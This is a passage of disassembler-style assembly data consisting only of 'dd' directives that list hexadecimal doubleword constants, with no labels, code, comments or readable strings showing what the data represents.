		dd 498431Bh, 3F810328h,	4E170C0Ah, 0C64CD826h, 60B22400h
		dd 9A587Ah, 9B0DF4B0h, 7FCF7847h, 0E95AF200h, 0C4684034h
		dd 718746Fh, 4D7A6D9Ch,	500780A7h, 63001C30h, 65BE7871h
		dd 0AFAE959h, 34D6821h,	8C621CBCh, 38C89E3Dh, 0F4F80929h
		dd 0E0502700h, 0A7AD7C4Fh, 0CA3D8180h, 4BE28960h, 3C7C8A44h
		dd 1705AE00h, 57AD1031h, 8E3EC460h, 7049052h, 0AFE412E2h
		dd 31209AC6h
		dd 0D410BADCh, 7D6B1013h, 0CEC1228Fh, 0A1BEEC40h, 65E04318h
		dd 0A810A3BBh, 40C464EBh, 7F601BC3h, 0E7322A79h, 7D109022h
		dd 170FCB1h, 0AF2EF84h,	0DA7844BEh, 899B4048h, 0D26D1200h
		dd 4D3FFD59h, 0B6DF01F2h, 3968DB33h, 0D806CB66h, 0B1D6926h
		dd 5E9C8149h, 8D9EF840h, 743E072Bh, 0A04CA949h,	973BBF2h
		dd 0BED18F00h, 3971C7E3h, 0AF62243Fh, 1B5F8200h, 74803C68h
		dd 4BEBE821h, 9060A924h, 0B7A10F18h, 2D703D65h,	48E4B92Ah
		dd 3D35C8CDh, 71AD09F1h, 901D9030h, 3E268713h, 9823840Ch
		dd 922409D7h, 6A809572h, 5B8B4778h, 0CECAD400h,	64C6FA7Bh
		dd 2C76016Ah, 37C689Ah,	0C3EC400Fh, 0ED005CB0h,	66EA0BD1h
		dd 0A2E846h, 6FA1337Dh,	94AA9BA5h, 70BF071Dh, 7680DA80h
		dd 48A975h, 9F232F54h, 0E5AE08A6h, 620F22E6h, 8032F3F7h
		dd 0C2D08D30h, 74E90747h, 14466F0h, 80D7BAA2h, 0FE497021h
		dd 0FDD1A1h, 0B01463DFh, 0F67CB82Ah, 0F174DC00h, 77238C49h
		dd 26B05Dh, 0FA0A8BF3h,	0B010A2FEh, 138EA100h, 200947D9h
		dd 3F745CB3h, 37C0D000h, 30D658D8h, 0D0C0697Fh,	0DDB39313h
		dd 0EF3E0004h, 7C9208FDh, 0AE1E6A75h, 4140B2F3h, 848FEC81h
		dd 0E4BEC9Eh, 395C38E3h, 40964307h, 8EFAE830h, 0EB4451C5h
		dd 48AFC1C0h, 9E53017Dh, 0B64D7697h, 0AAA080F9h, 0AC6AD82Bh
		dd 3CD90088h, 6C4317F1h, 0E1070313h, 0A6AD541Ch, 975816B6h
		dd 299054C0h, 0E2459A00h, 2CB053A3h, 68A506D5h,	117C7721h
		dd 0DB084F68h, 2D9A0Fh,	0AB7140A7h, 0F10E2CAAh,	49B0000Bh
		dd 9AB28C3Eh, 4A66A301h, 8F86CE37h, 2890ACF1h, 9F119CCDh
		dd 0E2C4FA3Fh, 0B9519062h, 1256204Ch, 0A3219453h, 548A086Eh
		dd 0A1297598h, 0E97C2Ch, 0E7FABABBh, 0AB98BDF4h, 45644Ch
		dd 51195340h, 39A67BFh,	7F66B5F5h, 39C0E24Eh, 3B005878h
		dd 2A7BFC85h, 331042h, 5507247Ch, 59CC110Fh, 5227107h
		dd 83600BA4h, 1A01E5h, 118E93ADh, 437DF148h, 6F1C9200h
		dd 0D6CB181Fh, 60910050h, 46331447h, 7C002C5Ah,	7B528CCh
		dd 3DCF69E0h, 1100C9BBh, 0A4522538h, 0DF3354CDh, 8AAD207Eh
		dd 0C8D6098h, 0C0AF1515h, 8603C0EBh, 0D50ED895h, 0DC8D4D80h
		dd 0AF38D000h, 9BC12A45h, 40770055h, 0AED18876h, 0F2005DD3h
		dd 7C20CFDBh, 0EFD9C0h,	231DE5C2h, 0A0CA64B0h, 74004E7Dh
		dd 8F1C458Bh, 3367561h,	6842522h, 803E1648h, 45A017h, 21B5BB83h
		dd 5737A050h, 3B08AA04h, 1480C074h, 0A807AFh, 0BBBDAC9Ah
		dd 9F2AD0D8h, 68349000h, 1C5813BAh, 8D200F72h, 0BE0EFCFh
		dd 71AA36E6h, 32DA3301h, 5A2C5125h, 0E5F3EECh, 5C3AB812h
		dd 9383E420h, 63873CAh,	0DD0C1DA1h, 5BBFE040h, 4F80F5h
		dd 0E67E3D14h, 0F83C4686h, 5004C98h, 2FFD9485h,	98225FCCh
		dd 9114008Fh, 4E0CED71h, 8809EFA4h, 1EDC37h, 28859F70h
		dd 0C74814D0h, 1504D9D4h, 80D88CCFh, 0B942172Ah, 91C2A000h
		dd 0D2BC6DA5h, 9D960184h, 0FC545E8Bh, 0BD388936h, 0EC1F03AAh
		dd 4EEFF02Ah, 9C960EF5h, 7B60FD69h, 882DB82Ch, 0D7312160h
		dd 1359941h, 0EBA20AD0h, 0F8E5FE55h, 0CDF08CA4h, 6ED2FCA0h
		dd 136FACA0h, 814ED000h, 0E6154AB5h, 35F1002Dh,	0BF8E6662h
		dd 0D901B441h, 6AA550D7h, 0B7D06058h, 7C50097h,	93C467D2h
		dd 0B603C647h, 96BFD71Fh, 7851C8DEh, 9CEA1Dh, 0E0978CF0h
		dd 1E94238Bh, 0E50057E0h, 76A8D125h, 38B3FC68h,	0B400696Dh
		dd 0EECB5594h, 750066D8h, 0A39DCD09h, 0E23886A5h, 6E0801DCh
		dd 9B592BF8h, 0F25BC074h, 0B01501Dh, 0B5D093C0h, 38B97CFh
		dd 0C22EF962h, 0C5B09CCAh, 9E00D5E3h, 0A1A98DE1h, 722C938h
		dd 6410CF6Bh, 52CAD0ACh, 4F7AF7F8h, 0EE037D01h,	0D70F3038h
		dd 0CEE91880h, 8DE4F0B3h, 0CD01F775h, 58C03E28h, 0A6CD1DCAh
		dd 951FB03Eh, 0A7266700h, 0D7516EE8h, 3BC7002Ch, 0E15B9DBFh
		dd 0C91DA03Eh, 3D748Ch,	0D6761FA7h, 17FD7E0Dh, 0EF14B122h
		dd 0EE9B4700h, 3FAD9CD3h, 6800899Fh, 0F331635Bh, 0E8008AF5h
		dd 8BA6965Ah, 81ABC2h, 17CA1D55h, 7793BBBEh, 0F8A2FB00h
		dd 0F505F30h, 0A4E31E1Ch, 67B2C00Ah, 4325F0F2h,	0C38B6E00h
		dd 3D99E177h, 91738B9h,	0FEF8E780h, 241E72B1h, 73B3CB01h
		dd 2B518047h, 0F38F520h, 95CED57Eh, 5FD23187h, 0F7E7009Ch
		dd 0BFDD5DEFh, 8B483200h, 0B7F391E3h, 80E600FCh, 90C3E8B1h
		dd 85002274h, 0A7010A4Ah, 0C4341Ah, 0BB944CABh,	0E1A1DADEh
		dd 0CC7AD00h, 60107093h, 5A64002Fh, 2E97FC6Dh, 0C4010EC9h
		dd 89A5AED3h, 56D04D82h, 0F1E8EEh, 0EC0CA252h, 94FA3D2Ch
		dd 0F78F2F00h, 0B70FB5Fh, 0A85800CBh, 49B9C856h, 8D00E0CEh
		dd 113A6C42h, 48355Fh, 0C323E43Fh, 2F517091h, 0FD7FD63Fh
		dd 4E6D1B00h, 2C90DA8Eh, 0C4970036h, 23443133h,	43004C8Bh
		dd 6F8A4779h, 184AA3h, 0DF92E16Ch, 4F152C49h, 66947E00h
		dd 0FD581B7Bh, 287030h,	0AA4BB818h, 8885554h, 0B9FFC100h
		dd 0EBA1ED78h, 60F2B4h,	0A6BCB3ECh, 0FF9431C5h,	7D2CB200h
		dd 18AC6EF6h, 34BF006Bh, 0EC737A4Fh, 0A04FD03h,	0A912250Ch
		dd 0D96FD4C0h, 0FF601EC8h, 0CCF78081h, 0A83CBA97h, 78AE0F00h
		dd 0B537964h, 0BC0D0555h, 0EEF93BC4h, 3DD26C80h, 0FE4A0F24h
		dd 3FF253h, 64142746h, 0AB02C8F8h, 0AEF3508Ch, 31C660E6h
		dd 1D68FE17h, 0C02E104Eh, 2505DD1Ch, 41007DB5h,	6CB4AFF5h
		dd 56F306h, 382C1FCEh, 87BAF64Fh, 0F5A1B300h, 0ED7052B9h
		dd 97801CDEh, 0C80B00B2h, 0A24BD261h, 0EE777800h, 0BCAE732Eh
		dd 157D6Dh, 3D988174h, 913BEC16h, 1319CA00h, 0C236A139h
		dd 4D8F011Fh, 755BAB8h,	0BBE27016h, 47E72D03h, 0F73D7037h
		dd 0DE17E680h, 0F66F0039h, 8B24D273h, 0FB003255h, 0D029DD2Eh
		dd 940716h, 99EAC5D3h, 0BE08CC4Bh, 0C84E8900h, 51910355h
		dd 1C6B7CB0h, 0BD20AAEDh, 0FDBE7807h, 0F653900Dh, 521C130Eh
		dd 0FCC0ACAFh, 6779B07Ah, 71B7006Fh, 0F76D1F9Ch, 7702852Ah
		dd 0EF01AA05h, 63E0D534h, 0F000BE26h, 54AB4EB1h, 5B807Dh
		dd 5FCAFA1Eh, 1658B8DAh, 0E0C86113h, 43376900h,	7027B9D4h
		dd 84C00351h, 9A6267EDh, 3D69E0C7h, 0B5006EEBh,	0A8ACA00Eh
		dd 8630A7h, 0B18F2EE4h,	823B8A5Bh, 3F20B960h, 39AE4191h
		dd 0D88F81FCh, 0FE60B240h, 0B82976Dh, 1105E471h, 34C3ED99h
		dd 425F2680h, 698500FDh, 0D5204CF4h, 0F5033F9Ah, 0DF946D4Fh
		dd 0BE50B875h, 0B92103FBh, 0C868A61h, 1AD04800h, 0B1022531h
		dd 459B006Dh, 3210CBD7h, 5319B208h, 6528095Fh, 55C4C6E1h
		dd 0C0A800FBh, 5B5EA1B8h, 0B5003ADAh, 2C530B64h, 52E018h
		dd 0C0B369BEh, 7560A003h, 0DB2E1D00h, 29340E5Eh, 0E948006Fh
		dd 6DEDBBA5h, 0D100A119h, 0D5E7F8A4h, 7FF25C06h, 603703C4h
		dd 7C466525h, 98235FC8h, 0FD1D200h, 30C7DAA0h, 0AD82003Dh
		dd 92FA8677h, 0E80029ABh, 3217CD54h, 7B04428h, 98A1A2EBh
		dd 0C887D109h, 5558E894h, 9647B601h, 0ABDFEC2Ah, 4B7DCh
		dd 60E4B969h, 0C18B371Ah, 619095B0h, 0D844633Ah, 84552849h
		dd 0AD93A100h, 4539D9E1h, 0ECA00ECh, 0EF6812F2h, 0B7F66B36h
		dd 0B20F4400h, 0CFB31F4Ch, 4D750094h, 0D14C5B1h, 0EDA1F72Ch
		dd 0A8E1E09Ah, 4EBAE700h, 504CEE64h, 0FA6D38B4h, 2C00C14Ch
		dd 3E4BCCDCh, 66005D02h, 51B964Fh, 0FC2122h, 0B4809C5Ah
		dd 0DBCE43A2h
		dd 0E83C3EE0h, 235DC1Fh, 0FC45ABADh, 8D0B6094h,	1EEB900Eh
		dd 0B4DB03h, 0D915F124h, 7E00C40Bh, 0B785939Eh,	0B8DC192Fh
		dd 8953004Ch, 4546491Ah, 0AA006A1Bh, 0ECFAA8E2h, 17A7E8Ah
		dd 7353CC0Fh, 702D8571h, 4900333Ah, 6DC9EBC6h, 0F09E23E6h
		dd 90E900A7h, 0A207696Ah, 66B06FB2h, 3B587060h,	3C27046Ch
		dd 0D180235Dh, 3E12AE6h, 4500FF76h, 219A8DD2h, 1D0EEE4Eh
		dd 81BA61h, 75BDE29h, 0A5313322h, 4B4EA95Ch, 0E7985E13h
		dd 500F111Ch, 0E0331F1Dh, 0E639CB02h, 718E006Ah, 42FA0B21h
		dd 4C0CE299h, 0A09733CDh, 8EDA004Dh, 0C79E8912h, 800B343h
		dd 65097EBDh, 76D8DAEh,	0B8805D53h, 7BE0EE5Ah, 4ED213EAh
		dd 28254400h, 4A0A3CF3h, 509D6158h, 0E4AAA421h,	0C005F2D0h
		dd 0B710E5DCh, 95948303h, 5490003Bh, 0DFA99238h, 966391A6h
		dd 0C0AA6F38h, 63B156FEh, 6C4DD844h, 0C0152F91h, 2D383648h
		dd 0A99E809Fh, 0DAC6B737h, 0E38900FDh, 0F05F18BAh, 0D2487E85h
		dd 7D60F56h, 0B6920052h, 2E94C9Dh, 1E8C7A98h, 95405B69h
		dd 0BC039C1Dh, 0CA8A88A4h, 0F81B9BBEh, 0A9F5EDh, 0E47F0325h
		dd 0FCFD8C99h, 800D5039h, 0ED721029h, 0D23EF0h,	2B3D2189h
		dd 0F3E7D46Ah, 234C527Ch, 3366000Ch, 956EC967h,	0A96200CCh
		dd 0E863F69Dh, 4200B2AEh, 22ADE9BCh, 0FA042FC2h, 0FB60041h
		dd 0D3D13C45h, 270B9894h, 5C87D884h, 97A307B1h,	0EF009B25h
		dd 0FF43BB0h, 9C30E100h, 0BEFA8068h, 2656071Eh,	0D0C9DEB5h
		dd 0C887C8Ch, 9D172F00h, 433EB44Ah, 0F1F4FAh, 0C908AB58h
		dd 0F1FB046h, 0D3DE1800h, 0D1EDBC75h, 0E8360039h, 0E2706E5h
		dd 0E01C5B48h, 0F207C82Fh, 9010D3D9h, 0CC923Ah,	0B1304563h
		dd 6856097Dh, 46FE0874h, 0BE421700h, 89E8BCC4h,	0B10B03CDh
		dd 828C6A7Eh, 1BBD15D0h, 9706E901h, 324AA9F7h, 9289A02Bh
		dd 0BFF0B400h, 7F3DE264h, 0CAA00010h, 66C6AAD6h, 350032C3h
		dd 3463FAF3h, 0F889E77Eh, 0C8E460EFh, 213FB917h, 790007ECh
		dd 0F7E73709h, 39CA73Eh, 5F4066F2h, 0DDF88DDFh,	287BF69Ah
		dd 0BD006198h, 3FD64EA2h, 0ED35A7h, 5DF9853Ch, 75BE0EDAh
		dd 69017700h, 0ECB80560h, 72EF1F66h, 28B6C052h,	0CDA83023h
		dd 2A93F400h, 65687F91h, 896F007Eh, 132B7304h, 0A900B218h
		dd 0BA8CDE01h, 1FCFA296h, 861C29h, 0BF5CF492h, 2701B03Bh
		dd 8FBA7AFFh, 2120FD94h, 9F980029h, 5F4156E8h, 631C6AE2h
		dd 36809169h, 8C23E3C8h, 51F0090h, 0A50367F3h, 1174F929h
		dd 0DEBDE500h, 819B54F2h, 20E86086h, 3DE7B533h,	1126830Dh
		dd 92E050D4h, 4E0D0601h, 28E9F585h, 775BF3Ch, 6A3498D9h
		dd 0D0F67780h, 502B0559h, 80634D56h, 79522C48h,	6B00FA90h
		dd 3E86B9E2h, 304DC7AEh, 0A4384AFEh, 397AAF7Ch,	50EBD0A0h
		dd 1E0044B1h, 0ABF071AEh, 6B92009Dh, 1D745DD0h,	0DB00494Fh
		dd 2F0DA4CEh, 2CD72EE3h, 78E957h, 1285E03Ch, 4700EFB2h
		dd 160B556Ch, 14ADA5h, 0AE7AFD75h, 668474A8h, 0BEA6D300h
		dd 0B4895A13h, 0E43E0036h, 997B2D1Eh, 980E9AC6h, 86E2356Bh
		dd 50A5C3h, 4B6C8ACAh, 62DC5AAEh, 37080200h, 0E54DD7F0h
		dd 0CC40046h, 0A6197F55h, 95E2E049h, 41EFA800h,	6B3EAF89h
		dd 0C7AC2898h, 8F72A0h,	0E946C2E1h, 636CFDCEh, 0DE984300h
		dd 172A86C8h, 0D9BD00EBh, 0D2859AD7h, 9300C7CCh, 0F57ADEBEh
		dd 243C8387h, 0E290E5h,	636741C3h, 200C7F2Ah, 50EA35E8h
		dd 62A50072h, 0F9319B4Ch, 120E2A53h, 0E0548D85h, 0D3115B06h
		dd 1B7B2Bh, 230B07DBh, 0E47265A9h, 3BEF3000h, 2D79E9ADh
		dd 8D6C265Ah, 0C4F10290h, 0DCA067FCh, 890796B9h, 43E2F003h
		dd 3FA70Eh, 0C71AA088h,	319DA315h, 0D225191Ch, 0A4CB9671h
		dd 0BBBDC70h, 0C76F209h, 5390C000h, 77074157h, 0A147F029h
		dd 0B7951EB0h, 2091009Eh, 0BA3D499h, 0AB24149Fh, 74081450h
		dd 80BD9FA0h, 7DAAD445h, 0E00A834h, 0CC9C3124h,	546B55Ch
		dd 6CEB541Dh, 1CECC060h, 0E70DC8Fh, 7424F900h, 0EBDDF266h
		dd 9C833CE4h, 58E96300h, 0C7CB0106h, 431DC3F8h,	1D6412D2h
		dd 0D4034100h, 75EA5687h, 8AA2072Dh, 0A0D592D6h, 4DD8B8B7h
		dd 8F98CC00h, 8E909164h, 9E5F0068h, 2136492Dh, 0B7002550h
		dd 9DD605F6h, 74FF08h, 69BA0207h, 0D931F152h, 22F6AF00h
		dd 64A2D29Ch, 0D808005Fh, 0A45EEF59h, 7107C811h, 0F3664C87h
		dd 1C8B4660h, 350200E8h, 6D9DCF78h, 481D3C28h, 4E008232h
		dd 2C9B347Fh, 45983CCAh, 99B10800h, 77789CD5h, 0E84B4900h
		dd 0A07A304Dh, 877000CEh, 0FFE7C650h, 4860853Bh, 0F116EE20h
		dd 5D5700FAh, 4C0446DFh, 2C001955h, 0ACC0AE50h,	0E59730h
		dd 125E42AAh, 0D4737C61h, 7963491Ch, 0B68E6B00h, 0DA4553h
		dd 0C643B123h, 2BD0F168h, 7F5E0D00h, 0B0DC49B3h, 14AF0052h
		dd 3B81162Ch, 9B0015CAh, 548754Eh, 0E1164h, 61F80DD6h
		dd 414CB294h, 4B0056B0h, 0F67A6D04h, 6FA219h, 35ECB0D6h
		dd 0D54BD21h, 0C266BE00h, 8C4D3803h, 65FF0020h,	61155B8Eh
		dd 800AC06h, 8DC152D2h,	601273D8h, 107DD83Ah, 49F4AB97h
		dd 0C17B5C74h, 1AC8E900h, 0DC5466D1h, 576200FDh, 53F809D3h
		dd 5F1D13B5h, 26C08AA7h, 2A1F67DEh, 7BAE00FBh, 4AEC9C4Dh
		dd 7A1E0340h, 8D055CF0h, 9C00291Eh, 0E35ED354h,	0EF4101C9h
		dd 0A4314934h, 0D1709CA7h, 35EB1840h, 0BEDF77h,	6A3672Fh
		dd 0AA245808h, 2AE71518h, 126EE8h, 559D50F3h, 0A29EE8DAh
		dd 2968358h, 0F95B8833h, 0EE8C6098h, 94750B67h,	0D00059Ah
		dd 0CAC693AFh, 0E42F4000h, 6D083AA9h, 81031391h, 5D16006Fh
		dd 0E8A3CA20h, 0EEA40503h, 98AEC43Dh, 79D5E2h, 4EDEBA5Eh
		dd 9ED0410Ch, 0C425371Dh, 0B3E29940h, 1EDFA44Ch, 4077C93Fh
		dd 8829A612h, 68071F9Fh, 60D34B32h, 0F9AA5070h,	5475BCh
		dd 81254F73h, 3D470BC1h, 0A16F0703h, 0C0C3BB2Ah, 1E8099C9h
		dd 4017F470h, 8AEA3DB0h, 95767D59h, 0A7314309h,	0D28F002Ch
		dd 3A3201h, 347345B2h, 4740581Fh, 0EB0B8D01h, 78669072h
		dd 3B6530h, 0BB3231E5h,	4D195BF7h, 2B7AC607h, 75D78384h
		dd 0CD4EE390h, 96A601ADh, 0B9C18A8Fh, 8C003495h, 9B950850h
		dd 46243CEEh, 9607FA22h, 3690D00Bh, 0D4FE6Ch, 4019B737h
		dd 4A46ED16h, 1E64111Dh, 0C3BD3Eh, 0AA82B2AFh, 0B5209Ch
		dd 2D9BFE50h, 0DF66F327h, 0EBF6300h, 0DDDE97Eh,	0BC0A00E8h
		dd 8B2A91B8h, 1F009AF2h, 1BAAB626h, 0F0697D4h, 9C0D1825h
		dd 32C121A7h, 71C0E215h, 0AE005108h, 9B4E0E60h,	7D19BCh
		dd 7261D063h, 0D368D896h, 4980C600h, 0CFDBAC9Eh, 0BC8C00BDh
		dd 18660988h, 0ED00FF04h, 2B1C7726h, 635A5Bh, 12212552h
		dd 940D73BBh, 0B8E0EF1Dh, 1D6A5680h, 1A3046h, 2E2B5A6Dh
		dd 0BBB3DA79h, 0F70015E8h, 5785E702h, 0F631CD30h, 9190013Bh
		dd 6924DDD6h, 0C8B1D45Ch, 0FDE22500h, 4D8EEF50h, 178C03FFh
		dd 3AD9E5ACh, 4861D000h, 0E0046925h, 658B00B1h,	4AB84DE1h
		dd 0BE00F6C9h, 623B47Eh, 1CE2BB37h, 0C00C21E7h,	9CA3AE22h
		dd 710C3025h, 50AB065Bh, 0EF600383h, 37B51AF9h,	0B1D73CE0h
		dd 0E1CFECA0h, 9CF045Ch, 20E76E68h, 66DB8694h, 405E0114h
		dd 0CF60798h, 85C3F00Eh, 0BA2BCC06h, 88ED1Ch, 73FFA7E0h
		dd 0B181286Ah, 74A11301h, 944AB9Eh, 1CDFCDF4h, 1D1957E9h
		dd 0C876405Dh, 10E186B8h
		dd 2389FA00h, 0B72AE490h, 0F3F90AD9h, 80E83CBBh, 0DC439CEEh
		dd 0CA043F1Ah, 171D041Bh, 0C1071981h, 0DCCEA980h, 0B17B2B30h
		dd 0FEC4D300h, 0B7D970Ch, 15EFA2Ch, 0B28258A3h,	0C5A03CA9h
		dd 0F0F8D04Fh, 158BB300h, 0BBCCB8F2h, 52C10078h, 0AD5B1630h
		dd 9498FF6Ah, 51BEB00h,	0A21EFA9Ch, 8D20045h, 869FB474h
		dd 7F0F04E7h, 97AB2987h, 0F7D6F800h, 0C0E993B2h, 0E728125Ch
		dd 0DC02A316h, 41A736B5h, 0FE64C0C6h, 136C0018h, 33BA75F7h
		dd 5F01A864h, 0F253B68h, 77F0C9B4h, 0D6010CD0h,	0FDE9E880h
		dd 8D0A26C7h, 0FF7F9663h, 5490B857h, 0C02D87FBh, 0FA223AB0h
		dd 0AC3E4CF6h, 3231CCD4h, 40E841EAh, 18E7C9ACh,	3148D119h
		dd 9707F6CBh, 84FC0C3Bh, 6672D580h, 787000D9h, 92B324CCh
		dd 750E8ABh, 0BA1865C8h, 0EC50A42Bh, 0D4355001h, 0E319088h
		dd 0C37E8959h, 0F9A0760Eh, 6BF78772h, 9F0F4E12h, 6DB57400h
		dd 18B6B8h, 484D7717h, 0D3D831CFh, 0CDCA9400h, 580C0723h
		dd 1A7A4CB6h, 33FD4400h, 13221A3Bh, 557F1400h, 334D185h
		dd 12D90005h, 7669720Ah, 5801244Dh, 0EA86F3AFh,	7AD0817Eh
		dd 0D2440287h, 56B4DCB1h, 85C42460h, 8A0004EEh,	0CC8F09B2h
		dd 6E2C6Fh, 5C9C3338h, 0FC2FD542h, 73955E00h, 0DDF15BE7h
		dd 0A343008Fh, 5D8A1002h, 0C001FD16h, 27705361h, 842124F7h
		dd 2203FCh, 5E26E44h, 874055EAh, 0A55FF300h, 15E5CA66h
		dd 7DBEE07h, 2A278D26h,	2C80B0F0h, 0BA0504E4h, 54583340h
		dd 0FD14043Fh, 4461C57h, 0B36380BAh, 6B44135h, 83F636C5h
		dd 84001853h, 0F30B644Ah, 9F8CD7h, 1FDF814Fh, 0ADAB8E2Dh
		dd 0D95B0300h, 23841643h, 589600FCh, 0BAB2FAC5h, 2D3A1307h
		dd 7A5C8012h, 0B74C0DE3h, 226F00C6h, 73C15842h,	8F038FCh
		dd 3FBFAD2Ch, 41059B00h, 0E4DBF4h, 699976DDh, 0FC421EDAh
		dd 0B949F000h, 755FB91h, 0E4AB3EA7h, 4FFD4600h,	0C685DF92h
		dd 0B315E126h, 1300A113h, 33DCBD7h, 0D88F0376h,	0AA554457h
		dd 1D0837A8h, 0CA27BB00h, 8CF4C646h, 9C956083h,	9256BC23h
		dd 1D5D3C00h, 35D4150Ah, 762F7911h, 0F50F1D5Ch,	0DA68408Ah
		dd 0C6F87C9h, 0B00ECBFCh, 0C0557B23h, 48F64EA2h, 1CEFEB6h
		dd 8EC91DBAh, 9EE8B5C1h, 0A3807EB8h, 85B1FDFFh,	3E03F0A6h
		dd 709C436Bh, 0D509C315h, 0A806A9A4h, 0D90791E8h, 0F2210138h
		dd 34432CAFh, 0C455C861h, 0D3FF4500h, 0EB7D5CCCh, 0E7A1030Fh
		dd 0A84C4D09h, 0C9BA4007h, 5EF3D04Fh, 193CAFFAh, 283D0008h
		dd 1E31AA6Ch, 1004FCDAh, 0F7BD20EAh, 0F839FFC3h, 0F046D903h
		dd 8240053h, 735FD8A7h,	0E0DE597h, 998515CFh, 0B0B999F0h
		dd 9CAF189Eh, 6BD13836h, 8927DD00h, 24072606h, 6594306Ah
		dd 0DC2EA31h, 68CA3500h, 37CD517Ch, 8D610067h, 842C336Bh
		dd 30A838ECh, 51E2DA72h, 55040200h, 32681141h, 87913CAEh
		dd 0F080893Ch, 486990E8h, 6663A60Fh, 0BEFE7A39h, 9DF6F0h
		dd 7D4D6867h, 0E5F0D209h, 0A6F8B4A0h, 0E869988h, 536C8762h
		dd 3D38C101h, 1B43E82Fh, 0C6EC7300h, 0AD106B06h, 0AC530E9Ch
		dd 88C19F8Dh, 0C4FA26A8h, 0DA60212Ch, 69680678h, 2F8300C8h
		dd 0B342247h, 54908D4Fh, 0FB3A2E0Eh, 5F79D8E6h,	0C8A25069h
		dd 0FC6403C0h, 4F95D725h, 0ACA4C11Ch, 40479BCEh, 6AE7E1CBh
		dd 10FD51C2h, 724091h, 0ADCEA984h, 0EC48A883h, 30A101E3h
		dd 0D25FD28h, 0F8446040h, 937CD714h, 964F8090h,	3E5705Ch
		dd 2CE398Ah, 0DC885B84h, 8B30EF01h, 313C2980h, 0D4330154h
		dd 0BD9DEED3h, 45C5EC75h, 85691214h, 0D0B50048h, 217D8658h
		dd 7F9078h, 4FFC3FB9h, 72A0F6E7h, 7AF87663h, 14C10112h
		dd 0FEA981Bh, 0C35FFCCFh, 24C2CE02h, 809AC7BFh,	78274218h
		dd 56540763h, 43B5E0AEh, 0EBD0FE5Eh, 900099F7h,	2E1295C8h
		dd 75D3A47h, 0A2C9AB76h, 0B82D0E0h, 0FF286B58h,	0FB6CE4FCh
		dd 917AB152h, 5FCE0000h, 6AAB2A9Eh, 149B900h, 5616BCA8h
		dd 830A03E9h, 0DE0F6911h, 40A35A99h, 3C36C7B8h,	80285F4Ch
		dd 0CD397221h, 2DF00BEh, 0FD367CECh, 707EBC38h,	839F840Eh
		dd 1FEF8EF2h, 0F8961C04h, 81097093h, 0E853ABE7h, 0D55100E6h
		dd 368C8333h, 9C0316CDh, 51A7B3C0h, 147DE096h, 12D50FE2h
		dd 7025AC1Ch, 1EF4001Dh, 53319774h, 82691707h, 0D2204F01h
		dd 744C12Bh, 0A6E7BE37h, 978F2033h, 0CD489C82h,	0CC8875E4h
		dd 0A83F008Ch, 687298D3h, 5877F888h, 0B312A47Fh, 0D0309031h
		dd 2EFD7A2h, 870C3F1Dh,	44A2A75Bh, 0ACA0F479h, 293328C5h
		dd 0E6174D05h, 5043930Fh, 9F3D1FBh, 2D9EF529h, 0A138A020h
		dd 72186A23h, 0E821EBB7h, 8F4E0F21h, 0D420A4E7h, 2926E5BFh
		dd 1FD02B53h, 0D7405F61h, 0C51FF91Ah, 0C9B0ABF7h, 0D6C85785h
		dd 7DEE92h, 235D022Dh, 0CC44E687h, 56A30400h, 63F0833Ah
		dd 0EC5C00ADh, 0D7F25F86h, 3909DDC9h, 26DE09Dh,	64C4E7BCh
		dd 9ABA00E4h, 6BCDF4DFh, 1C126A4Dh, 6C440578h, 0B580ABFFh
		dd 6453CEh, 256DC924h, 3AE8967Ah, 8478CF2Bh, 121CD514h
		dd 40015Fh, 74905CD2h, 68460077h, 13DE2797h, 0A302D41Fh
		dd 0FB34ACA7h, 0F46402h, 9854F8Fh, 0AB0A9775h, 83EECA8h
		dd 3FA0580h, 709E7753h,	83981A9Ch, 0E2C0BDC1h, 0E71179BBh
		dd 0E4A205B1h, 43C36Ah,	0CC09A6F0h, 30981A10h, 5D01E87Bh
		dd 7205EB1Bh, 5822C401h, 0E9006322h, 3861174Fh,	7922F43h
		dd 1EF35855h, 0B613604Bh, 1C264098h, 6EF4CE8h, 7A40CEC4h
		dd 6D343FA7h, 527B8680h, 23428E21h, 0D0723207h,	0CF00C9FEh
		dd 25C2C1h, 0DA6BAC62h,	8211B220h, 0F320D498h, 0B3912A0Eh
		dd 85A00D0h, 0D64630A5h, 681D2E21h, 670092E5h, 0D98EEC71h
		dd 0A5053AA7h, 0E7098161h, 0A96C58C3h, 5B9F702h, 0C0E8898Bh
		dd 0F3BFFBh, 0D4880332h, 3001F5DDh, 8FEBCA1h, 5807407Dh
		dd 0F59EDB00h, 53D5B013h, 0BF7926DFh, 0C52C2425h, 2BC0EB0Eh
		dd 12682D32h, 21E57214h, 0F2F1F5A0h, 0E8C48C48h, 21748550h
		dd 81B0884Dh, 0CBFDA3DCh, 503DF2C4h, 0FEA7DCD6h, 2FA658A5h
		dd 60799850h, 4C6F59EAh, 1206FB2Eh, 7736945Eh, 0FAD70C18h
		dd 0F9712695h, 21020B79h, 6E40013Eh, 19006C82h,	0E959FB3Ch
		dd 0CE306037h, 66BF230Bh, 0C19C2224h, 793D0171h, 4C29800Fh
		dd 1A502A15h, 0CBFA059Bh, 61839A7Ch, 506991CCh,	1D3BDFC8h
		dd 2C42F600h, 4521C16Fh, 0A12000D6h, 33ABAC68h,	5D0A96CFh
		dd 0C07DA2D9h, 8FF08260h, 68080AA5h, 0D15C8C70h, 0E4C8602Fh
		dd 7E87544h, 3D9158CCh,	0AA1100CDh, 67164036h, 0B4454A6Ch
		dd 90401F92h, 88EB7CD6h, 782E5409h, 3CFA4D91h, 2DE4C900h
		dd 0EF6B7779h, 0C40FD400h, 3AA5B28Bh, 2BCA30F5h, 9CDF3849h
		dd 745C820Fh, 0CD69C509h, 0A75AEC21h, 0BFCCE880h, 8D359FCBh
		dd 0C1818A30h, 7F1D2Fh,	9BBE16DDh, 0A1D689D0h, 0F444F8ACh
		dd 34F30072h, 4363A5FCh, 3970E7E0h, 9A270207h, 0CC828ED3h
		dd 180FC1E6h, 0C4D1788Ah, 0BEE90050h, 5CB47380h, 94449507h
		dd 83A0369Dh, 1F27FC01h, 2F1631Fh, 0CC6F4EE7h, 5E24986Ch
		dd 0B080A40Eh, 0C8DC580Dh, 0AF0C0021h, 3549F828h, 0FF2E9F81h
		dd 0DF06A406h, 1731EE69h, 22736DFCh, 91201118h,	14A6AF7h
		dd 0AD425378h, 60176630h, 0B4B815FCh, 7259AB20h, 12A0FE7h
		dd 116294FFh, 7090C9A1h, 8B5C02DCh, 2B0D8030h, 998A16h
		dd 36984AC6h, 0E4C13210h
